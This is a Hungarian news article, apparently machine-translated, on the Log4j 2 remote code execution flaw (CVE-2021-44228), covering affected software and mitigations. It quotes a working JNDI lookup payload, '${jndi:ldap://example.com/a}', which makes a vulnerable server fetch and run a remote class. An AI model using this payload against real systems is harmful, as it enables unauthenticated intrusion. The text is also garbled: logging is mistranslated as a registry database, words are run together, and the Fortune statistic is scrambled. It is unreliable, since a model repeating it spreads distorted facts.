Nemrégiben sAz e kiadta a hírt, hogy kritikus biztonsági rést azonosítottak az Apache Log4j 2-ben, amelyet népszerű keretrendszerként jellemeznek a Java alkalmazások rendszerleíró adatbázisának rendszerezésére, amely lehetővé teszi tetszőleges kód végrehajtását, amikor egy speciálisan formázott érték „{jndi: URL}” formátumban kerül a beállításjegyzékbe.
Sebezhetőség Figyelemre méltó, mert a támadást olyan Java alkalmazásokban lehet végrehajtani, amelyekRögzítik a külső forrásokból származó értékeket, például a problémás értékek hibaüzenetekben történő megjelenítésével.
Megfigyelhető, hogy szinte minden olyan projektet érint, amely olyan keretrendszert használ, mint az Apache Struts, Apache Solr, Apache Druid vagy Apache Flink, beleértve a Steam, Apple iCloud, Minecraft klienseket és szervereket.
A sérülékenység várhatóan hatalmas támadások hullámához vezet a vállalati alkalmazások ellen, megismételve a keretrendszer, az Apache Struts kritikus sebezhetőségeinek történetét, amely durva becslés a Fortune 65 webes alkalmazások 100%-ában. tartalmazta a már rögzített kísérleteket a hálózat sérülékeny rendszerek keresésére.
A biztonsági rés lehetővé teszi a nem hitelesített kód távoli végrehajtását. A Log4j 2 egy nyílt forráskódú Java naplókönyvtár, amelyet az Apache Foundation fejlesztett ki. A Log4j 2-t számos alkalmazásban széles körben használják, és függőségként számos szolgáltatásban jelen van. Ide tartoznak az üzleti alkalmazások, valamint számos felhőszolgáltatás.
A Randori támadócsapata kifejlesztett egy funkcionális exploitot, és sikeresen ki tudta használni ezt a biztonsági rést az ügyfélkörnyezetekben támadó biztonsági platformunk részeként.
A sérülékenységhez számos alkalmazás-specifikus módszerrel lehet hozzáférni. Valójában minden olyan forgatókönyv, amely lehetővé teszi egy távoli kapcsolat számára, hogy tetszőleges adatokat közöljön, amelyeket a Log4j könyvtárat használó alkalmazás a naplófájlokba ír, ki van téve a kihasználásnak. Ezt a sebezhetőséget nagy valószínűséggel kihasználják a vadonban, és valószínűleg több ezer szervezetet érint. Ez a sérülékenység jelentős valós kockázatot jelent az érintett rendszerek számára.
A problémát tetézi, hogy már megjelent egy funkcionális exploit, pl.De a stabil ágakra vonatkozó javítások még nem jöttek létre. A CVE azonosító még nincs hozzárendelve. A megoldás csak a log4j-2.15.0-rc1 tesztágban található. A biztonsági rés blokkolásának elkerülő megoldásaként ajánlott a Log4j2.formatMsgNoLookups paramétert igaz értékre állítani.
A probléma ez annak köszönhető, hogy a Log4j 2 támogatja a speciális maszkok «{}» kezelését a naplósorokban, amiben JNDI lekérdezések futtathatók (Java elnevezési és címtárfelület).
A CVE-2021-44228 elemzése során Randori a következőket állapította meg:
A széles körben használt üzleti szoftverek alapértelmezett telepítései sérülékenyek.
A sérülékenység megbízhatóan és hitelesítés nélkül is kihasználható.
A biztonsági rés a Log4j 2 több verzióját érinti.
A biztonsági rés távoli kódfuttatást tesz lehetővé, amikor a felhasználó a könyvtár használatával futtatja az alkalmazást.
A támadás egy karakterlánc átadása a "$ {jndi: ldap: //example.com/a}" helyettesítéssel, amelyet feldolgozva a Log4j 2 LDAP kérést küld a Java osztály elérési útjára az attacker.com szervernek. . A támadó szervere által visszaadott elérési út (például http://example.com/Exploit.class) betöltődik és végrehajtódik az aktuális folyamat kontextusában, lehetővé téve a támadó számára, hogy tetszőleges kódfuttatást hajtson végre a rendszeren a jogosultságokkal. az aktuális alkalmazásból.
Végül megemlítik azt ha rendellenességeket találnak, javasoljuk, hogy feltételezze, hogy ez egy aktív incidens, hogy feltörték, és ennek megfelelően reagáljon. A Log4j 2 vagy az érintett alkalmazások javított verzióira való frissítés megszünteti ezt a biztonsági rést. Randori azt javasolja minden szervezetnek, amelyről úgy gondolja, hogy érintett lehet, hogy sürgősen frissítsen javított verzióra.
Az Apache Log4j csapatának legújabb frissítésében javasoljuk, hogy a szervezetek tegyenek a következőket
- Frissítés a Log4j 2.15.0-ra
- Azok számára, akik nem tudnak frissíteni a 2.15.0-ra: Verziók> = 2.10 esetén ez a biztonsági rés csökkenthető a log4j2.formatMsgNoLookup rendszertulajdonság vagy a LOG4J_FORMAT_MSG_NO_LOOKUPS környezeti változó true értékre állításával.
- A 2,0-beta9-től a 2.10.0-ig terjedő verziók esetén az enyhítés az, hogy eltávolítjuk a JndiLookup osztályt az osztályútvonalból: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
forrás: https://www.lunasec.io/